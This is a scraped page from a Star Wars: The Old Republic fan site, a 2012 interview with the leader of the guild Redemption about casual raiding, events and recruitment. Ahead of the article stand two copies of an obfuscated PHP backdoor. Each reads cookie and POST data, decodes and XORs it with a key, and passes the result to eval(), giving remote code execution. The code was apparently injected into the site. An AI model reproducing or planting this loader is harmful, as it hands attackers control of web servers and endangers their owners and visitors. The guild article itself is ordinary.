$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> Guild Checkpoint – Corellian Run Radio
Feb 132012
 

Highlighted Guild

  • Redemption – Galactic Republic guild

Time to meet another great guild in the Star Wars: The Old Republic community. This week’s guild is called Redemption. Like with most guilds for this article, I usually come across a recruiting thread and/or a website. That is how I met the folks at Redemption. They invited me to join their forums and get to know more about them, and I did. They really like to have some fun in more of a casual setting, but they still plan events, endgame Operation runs, PVP and have a lot fun playing this game. We will meet Mordalus, the Guild Leader, in our Q&A section.

We will find out how the guild started, their “vision”, & much more after the Jump…

  • Guild Q&A

How did Redemption come about as a guild in SWTOR? Is this the only game the guild is playing?

Redemption came about as a result of my and our founding officer’s, frustration finding guilds that raid casually in other MMOs.  We did our hardcore raiding stint in vanilla World of Warcraft and the Burning Crusade Expansion and, while it was fun, important aspects of real life suffered too much.  As MMOs have evolved, they’ve started catering more and more to the casual crowd.  But even with these developments, it was still difficult to find a casual raiding guild in World of Warcraft.

Also, due to internet anonymity and the advent of cross-realm battlegrounds and dungeon finders, the quality of the MMO community has degraded quite a bit.  When I started playing MMOs in the late-1990s, the MMO community was extremely friendly and helpful.  Nowadays, helpfulness and courtesy seems rare.  We want to build our guild as a place where the sense of community and courtesy still thrives.

What makes Redemption from other guilds? Can you briefly describe the guild’s outlook or vision to SWTOR?

Here is our guild vision:

The vision of this guild is for it to be a haven for mature, working (students and career folks), family-oriented adults; people that have lives outside the game and don’t take the game too seriously.  At the same time, we WILL be working towards progressing through the end game; albeit at a slower pace than hardcore raiders.  While we will have a raid schedule, we will not have any attendance requirements nor will we be raiding at a hard core pace.  Raiding will be a casual two nights a week and MAYBE once on the weekends.  Our mantra is “RL first.” One thing I’ve learned about raid content is that it will be there for many months and there is absolutely no reason to sacrifice your life in the name of raiding progression.

The reason for this guild vision is that in my career in Asheron’s Call, Dark Age of Camelot, World of Warcraft, Eve Online, Fallen Earth, and Lord of the Rings Online, I have never been able to find a guild that focuses on fun, practices common courtesy both in and out of the guild, raids casually, and puts RL first.  Hopefully we can keep our standards high to fulfill this vision.  As such, I’m expecting our guild to grow slowly since we will only be recruiting high quality people that agree with the guild’s vision and rules. However, when all is said and done, we will have a solid, stable guild whose only focus is to have fun and have a low-stress haven to escape from work and school.

We are different from other guilds in that we don’t mass recruit since we go for quality over quantity.   By quality I mean in terms of the personalities of the people and not in terms of game skill.  Skill and knowledge can be acquired later.  Since it’s your subscription money, we won’t tell you how to gear or play you class and we won’t tell you what class or spec to play.  We can certainly provide help and suggestions though.  While we only recruit adults, we are family friendly.  Children of adult members are more than welcome to join us.  Above all else, Real Life always comes first.

What is the name and type of server that Redemption is playing on? What was the reasoning for selecting this type of server?

We play on Daragon Trail which is a PVP server.  Since our guild’s focus is end-game PVE and PVP, it was only natural to play on a PVP server.  Plus there is something exciting about knowing that an Imp can jump you at any moment.  It adds a level of excitement beyond grinding quest mobs.

Your guild just had a couple of planned events, a World Boss hunt and a Datacron run. How did these events go and does the guild plan to have more of these events?

“Redemption Datacron Dancing”

One of our officer’s, Iglatuun, started running these events and they are very popular.  We’ve had three events and all have been very successful.  The datacron permanent stat boosts give you that extra edge and its nice having that extra bit of lore to read in your codex after killing a world boss.  Plus the world bosses drop some nice loot for those that fight them on-level. The absolute most fun we have is when the guild does things together.  We have many more events planned which will include: level 10-49 Warzones, level 50 Warzones, Ilum objectives, hard mode flashpoints, and operations.

Battling the World Boss on Nar Shaddaa

Your guild could be categorized by some as “Casual Hardcore,” do you think this is a fair statement? How would you best describe the guild and its plans for endgame, PVP, etc.?

I think “Casual Hardcore” is an apt description of us.  Most of us were hardcore at some point in the past and that mentality kind of sticks with you.  The trick is to maintain the hardcore mentality while staying courteous and also understanding that this is only a game and Real Life trumps all.

Our plans for endgame?  We will be progressing through normal, hard, and nightmare modes of Operations and hard mode flashpoints like any other hardcore raiding guild.  However, our schedule will be much less hardcore.  Two nights a week for a few hours with an option of a weekend run.  One thing I’ve learned from playing MMOs is that hardcore raiders almost always finish the content well before the next expansion.  For us, we know the endgame content will be there for awhile and we are in no rush to sacrifice Real Life to get it done at lightning speed.  We also plan on organized warzones and Ilum objectives.

Bioware has already released new content with the “Rise of the Rakghouls” patch. Have you and the guild got a chance to make a run through this Flashpoint? Do you think Bioware is doing a good job patching and adding new content?

Our level 50 players have completed Rise of the Rakghouls and thought it was great fun and are looking forward to more flashpoints in future updates as promised by Bioware.  However, most of us are still leveling, enjoying the story, and trying out different classes.  We are very happy with the speed at which Bioware is patching the game and adding new content.  It seems like every time I log in, bugs that were annoying me are no longer evident.  Fast bug squashing is paramount to making this MMO a success and they seem to be doing a great job; with the exception of the Ilum debacle.

What are some areas, especially with guilds, that you would like to see fixed or new options added to the game? Are there some areas that you feel Bioware really needs to address in the game?

Wow what a question.  There are so many areas that need improvement.  SWTOR, while content rich, is woefully feature poor; mainly in quality-of-life features.  Right off the top of my head the game needs:

  • Guild Banks
  • Guild Housing
  • Improved LFG Tool
  • Improved Auction House
  • Macros
  • UI Customization
  • Combat Log
  • Dual Spec
  • Graphics Polish (such as blocky and jagged shadows and bad lighting effects)
  • Improvements to immersive factors like day/night cycles, weather, and dynamic skyboxes
  • Dungeon Finder
  • Cross-Realm Battlegrounds and better Warzone match-making

The last two items I feel have contributed to the degradation of the MMO community.  However, you can’t deny their convenience.  I am certainly weary of spamming fleet general for flashpoints to no avail and I am certainly weary of flashpoints where the Imps are significantly better geared than the Pubs.

What class/advance class are you playing and what is your current level? Have you enjoyed the story elements that Bioware has empathized in the MMO genre or are you giving your spacebar a workout?

I’m currently a level 50 Jedi Guardian.  The story elements of the game are where Bioware has truly been innovative in the MMO genre.  I’m not sure I could ever go back to reading quest text again.  I have very much enjoyed the story and rarely use my space bar unless I know the plot of the quest very well.

One area where Bioware will have to improve the story aspect of the game is with bugs in the cut scenes. So far I’ve come across a super tiny Satele Shan and NPCs that are talking without moving their mouths or are invisible.  This breaks the immersion but I’m sure these issues will be rectified soon enough at the rate they are patching the game.

Having been added into your guild’s forum section, I can say firsthand your guild is a very tight-knit family.  Are you looking to recruitment more folks into your family group at Redemption?

We certainly are looking for more quality adults to join us.  I’m not one to arbitrarily limit the size of a guild if there are quality people out there that want to join us.  However, we will probably go through cycles of active and dormant recruitment periods in order to better get to know newer recruits.

Are there specific classes or advance classes the guild needs?  What is the process that potential new guild members need to take to apply to be a member of Redemption?

Right now we could use more ranged DPS.  But, again, it’s your subscription money and we encourage you to play the class that you find fun.  We will always do our best to accommodate everyone in the end-game.  The application process is simple:

  1. Go to guild website and register.
  2. Read the Guild Vision and Guild Rules and determine if you would be a good fit for Redemption.
  3. Fill out the application using the link near the top of our webpage.  The application is short and sweet.  After all, this is a game not a job interview.
  4. If approved, find an officer in game for a /ginvite.

What has been one of the biggest achievements for the guild so far in the game?

The biggest achievement of the guild so far has been our ability to slowly continue to grow while maintaining a high level of fun, staying focused on our vision, and keeping the jerks out.  We like to think of ourselves as a haven from the elitist and drama-prone MMO crowd.  The days of “moar dots” and “-50 dkp” are over for the members of Redemption.

This upcoming weekend also marks our first attempt at Operations which is going to be a blast!  We are going to make an attempt on Eternity Vault with an 8-man group.  We’ve been gearing up through PVP, Ilum, and Belsavis dailies but I understand a fresh 50 can be pretty successful with Operations on normal mode.

Where can people find out more information concerning your guild? How can they best contact with the guild leadership?

Guild leadership can best be contacted outside the game by PMing them at our website.   We can also be contacted on the Daragon Trail server by whispering one of the following officers: Mordalus, Kazguard, Kamron, Xhenn, Iglatuun

Or you can also locate members of the guild by typing /who, typing “Redemption” in the search field, and asking a member for an officer.

I want to thank Corellian Run Radio for being very gracious with their time.  We’ve very much enjoyed the correspondence and having you on our forums.  We look forward to seeing you on Daragon Trail!

That wraps up another Guild Checkpoint. Thanks to all the members in the guild Redemption for letting me join their forums and get to learn more about them and their guild. A huge thanks to the guild leader, Mordalus. I appreciate his help with this week’s article. If you are looking for a close-knit guild that has just a great attitude, I strongly suggest heading over to the Daragon Trail server and getting in touch with a member of the guild Redemption!

Do you have a guild that you think the community should check out or maybe have a special guild event planned and want a way to get the message out? Send me an email at jason@corellianrun.com and tell me your guild’s name and website address. I am always looking for more great guilds to share with the SWTOR community. Until next time…May the Force be with You Always!

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